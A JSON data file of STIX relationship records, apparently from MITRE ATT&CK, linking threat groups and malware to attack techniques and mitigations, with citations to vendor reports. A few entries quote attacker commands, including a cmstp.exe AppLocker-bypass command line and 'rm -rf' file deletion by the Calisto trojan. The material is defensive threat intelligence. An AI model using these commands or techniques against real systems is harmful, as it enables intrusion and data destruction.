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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used regsvr32.exe to execute a server variant of [Derusbi](https://attack.mitre.org/software/S0021) in victim networks.(Citation: RSA Shell Crew)",
            "object_marking_refs": [
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                {
                    "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf",
                    "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.",
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            "modified": "2020-04-17T21:11:30.416Z",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used SMB for C2.(Citation: US-CERT TA18-074A)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-03-22T20:13:49.303Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[APT37](https://attack.mitre.org/groups/G0067)'s Freenki malware lists running processes using the Microsoft Windows API.(Citation: Talos Group123)",
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            ],
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                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.509Z",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the command <code>cmstp.exe /s /ns C:\\Users\\ADMINI~W\\AppData\\Local\\Temp\\XKNqbpzl.txt</code> to bypass AppLocker and launch a malicious script.(Citation: Talos Cobalt Group July 2018)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)",
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Unit 42 Cobalt Gang Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."
                }
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) obtains and saves information about victim network interfaces and addresses.(Citation: Kaspersky Poseidon Group)",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                }
            ],
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            "relationship_type": "uses",
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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            "modified": "2019-03-22T19:57:37.438Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)",
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                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
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            "relationship_type": "uses",
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            "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to use <code>rm -rf</code> to remove folders and files from the victim's machine.(Citation: Securelist Calisto July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-01-17T19:33:17.969Z",
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        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DDKONG](https://attack.mitre.org/software/S0255) uses Rundll32 to ensure only a single instance of itself is running at once.(Citation: Rancor Unit42 June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
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            ],
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb",
            "relationship_type": "uses",
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        {
            "id": "relationship--145634d0-cd6c-4184-965a-fe77a158ff97",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.(Citation: McAfee Honeybee)",
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                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
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            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.396Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec",
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            "source_ref": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
            "relationship_type": "mitigates",
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            "type": "relationship",
            "modified": "2020-03-23T15:40:51.383Z",
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        },
        {
            "id": "relationship--f67c1df3-9a03-456e-9de9-74a2ac3a2061",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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                    "source_name": "US-CERT TA18-074A",
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                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T15:53:07.865Z",
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        },
        {
            "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A keylogging tool used by [APT3](https://attack.mitre.org/groups/G0022) gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.(Citation: Symantec Buckeye)(Citation: evolution of pirpi)",
            "object_marking_refs": [
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            ],
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                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                },
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
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            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.204Z",
            "created": "2017-05-31T21:33:27.057Z"
        },
        {
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.(Citation: Symantec Elderwood Sept 2012)",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2021-01-06T19:32:28.284Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf",
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            ],
            "source_ref": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-15T14:15:33.165Z",
            "created": "2017-05-31T21:33:27.022Z"
        },
        {
            "id": "relationship--896cd1de-ffa7-4f69-a981-2859cc756601",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
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                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
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            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-05-03T16:42:19.154Z",
            "created": "2018-01-16T16:13:52.465Z"
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            ],
            "source_ref": "course-of-action--8a61f6b9-6b7a-4cf2-8e08-f1e26434f6df",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b",
            "type": "relationship",
            "modified": "2020-02-12T16:34:07.059Z",
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected emails from victim Microsoft Exchange servers.(Citation: DOJ GRU Indictment Jul 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
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            "modified": "2020-03-17T16:17:28.054Z",
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            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
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            "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "external_references": [
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf",
                    "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.",
                    "source_name": "RSA2017 Detect and Respond Adair"
                }
            ],
            "description": "(Citation: RSA2017 Detect and Respond Adair)",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.905Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--79934567-99e6-4184-8b04-717a1b401006",
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            ],
            "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "relationship_type": "uses",
            "target_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "source_name": "Scarlet Mimic Jan 2016"
                }
            ],
            "description": "(Citation: Scarlet Mimic Jan 2016)",
            "type": "relationship",
            "modified": "2019-04-22T15:06:12.697Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--1d3654f8-3a5e-4ef8-826f-4242ecf78c0a",
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            "description": "[APT32](https://attack.mitre.org/groups/G0050) compromised McAfee ePO to move laterally by distributing malware as a software deployment task.(Citation: FireEye APT32 May 2017)",
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            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "type": "relationship",
            "modified": "2020-03-17T15:50:42.900Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b052a076-6d4e-49f5-95ac-16264ef05b1d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used HTTP and HTTPS for command and control.(Citation: Dell TG-3390)(Citation: ThreatStream Evasion Analysis)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "ThreatStream Evasion Analysis",
                    "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.",
                    "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:31:14.539Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
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            "description": "[DustySky](https://attack.mitre.org/software/S0062) has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.(Citation: DustySky)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.756Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2ce2f87e-527d-4bc1-9ba1-79ade0a4db59",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
            "external_references": [
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
            "description": "(Citation: Alperovitch 2014)",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.807Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ccdb0aac-24b8-4e94-a3b6-b7e1c519a938",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
            "type": "relationship",
            "modified": "2019-03-25T15:36:46.849Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--67469b79-67e2-4932-9776-b09a82871723",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Crowdstrike GTR2020 Mar 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                },
                {
                    "source_name": "OilRig New Delivery Oct 2017",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
                },
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2021-03-12T16:36:07.554Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--081c68ae-de26-4ab4-9108-5c7493f34f43",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has signed [Carbanak](https://attack.mitre.org/software/S0030) payloads with legally purchased code signing certificates. [FIN7](https://attack.mitre.org/groups/G0046) has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "source_name": "FireEye CARBANAK June 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.259Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f6cd8be3-3145-4088-ae9d-d006be865c01",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                },
                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "type": "relationship",
            "modified": "2020-03-12T00:31:59.960Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7b6eac00-8a13-42e3-b533-a40314eada68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used the <code>net view</code> command.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.734Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7aea964a-cd9b-471e-bc7b-2a270c974289",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."
                }
            ],
            "description": "(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.904Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [FLIPSIDE](https://attack.mitre.org/software/S0173) to create a proxy for a backup RDP tunnel.(Citation: Mandiant FIN5 GrrCON Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016"
                }
            ],
            "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-03-19T19:54:13.826Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.(Citation: Kaspersky Duqu 2.0)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf",
                    "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.",
                    "source_name": "Kaspersky Duqu 2.0"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.108Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254",
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            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
